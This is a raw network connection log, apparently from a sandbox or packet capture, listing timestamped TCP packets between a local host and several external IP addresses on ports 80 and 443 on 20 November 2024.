Nov 20, 2024 00:19:23.788634062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788667917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788680077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788700104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788701057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788750887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788750887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788799047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788801908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788831949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788851023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788863897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788894892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788917065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.788917065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788970947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.788974047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789011002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789028883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789045095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789079905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789098024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789112091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789135933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789144993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789156914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789177895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789195061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789211035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789247036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.789252996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789252996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.789294958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.790116072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.790222883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.790286064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.790365934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.815450907 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.815614939 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.815696001 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.815946102 CET	62067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.815988064 CET	443	62067	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.816062927 CET	62067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.820802927 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.820853949 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.820884943 CET	62044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.820902109 CET	443	62044	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.821949005 CET	62067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.821976900 CET	443	62067	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.823535919 CET	62068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.823582888 CET	443	62068	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.823751926 CET	62068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.823945999 CET	62068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.823975086 CET	443	62068	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.880537987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880568027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880583048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880625963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880640984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880650043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.880656004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880669117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880683899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880698919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880758047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.880769968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880791903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880806923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880815983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.880821943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880836010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880848885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880863905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880875111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.880878925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880892992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.880935907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.892338991 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.892906904 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.892925024 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.894340992 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.894416094 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.895587921 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.895662069 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.895899057 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.895905972 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.897452116 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.897674084 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.897700071 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.898726940 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.898802996 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.899111032 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.899204969 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.899257898 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.901041985 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.901390076 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.901406050 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.903007030 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.903089046 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.903553963 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.903645992 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.903695107 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.911158085 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.911401987 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.911428928 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.912890911 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.912964106 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.913305998 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.913391113 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.913470984 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.913481951 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.917550087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917589903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917623997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917644978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917644978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917696953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917707920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917716026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917730093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917762995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917762995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917790890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917829990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917870045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917887926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917903900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.917924881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.917952061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918003082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918035984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918057919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918092012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918092966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918139935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918148041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918155909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918169975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918186903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918201923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918201923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918219090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918227911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918252945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918256044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918289900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918308020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918308973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918344021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918378115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918401957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918412924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918431997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918450117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918468952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918504953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918539047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918572903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918589115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918608904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918627977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918637991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918672085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918685913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918685913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918704987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918737888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918761969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918785095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918819904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918872118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918875933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918908119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918922901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918937922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.918962002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918981075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.918988943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919042110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919044971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919080019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919101000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919116020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919128895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919148922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919167042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919182062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919215918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919234991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919253111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919272900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919301987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919507980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919543982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919578075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919600010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919627905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919630051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919681072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919682980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919713020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919737101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919747114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919761896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919780970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919815063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919837952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919848919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919862986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919883966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919897079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919918060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919934988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919953108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.919972897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.919987917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.920011997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.920022011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.920033932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.920059919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.920073986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.920108080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.922678947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922759056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.922835112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922869921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922904968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922924995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.922939062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922971964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.922991037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.922991991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923038960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923074007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923093081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923108101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923127890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923141956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923154116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923172951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923206091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923207045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923226118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923243046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923263073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923276901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923293114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923310995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923345089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923367977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923378944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923413038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923432112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923446894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923470974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923480988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923487902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923516035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923551083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923569918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923583984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923605919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923619032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923641920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923652887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923677921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923686981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923702002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923721075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923733950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923773050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923779964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923805952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923826933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923841000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923866987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923873901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923888922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923923969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923928022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.923978090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.923979044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924031019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924062014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924086094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924134970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924189091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924222946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924257994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924277067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924292088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924314022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924326897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924354076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924360991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924395084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924398899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924420118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924428940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924465895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.924491882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.924515009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.926132917 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.926558018 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.926568031 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.927620888 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.927680016 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.927969933 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.928035975 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.928330898 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.928340912 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.929541111 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.929986000 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.930002928 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.931027889 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.931112051 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.931500912 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.931559086 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.931602001 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.943341970 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.951328039 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.955060005 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.955553055 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.955569983 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.956098080 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.956103086 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.960443020 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.960859060 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.960880995 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.961345911 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:23.961350918 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:23.965411901 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.965424061 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.965424061 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:23.965425968 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.965430975 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.974288940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974319935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974370003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974373102 CET	49762	80	192.168.2.5	185.215.113.206
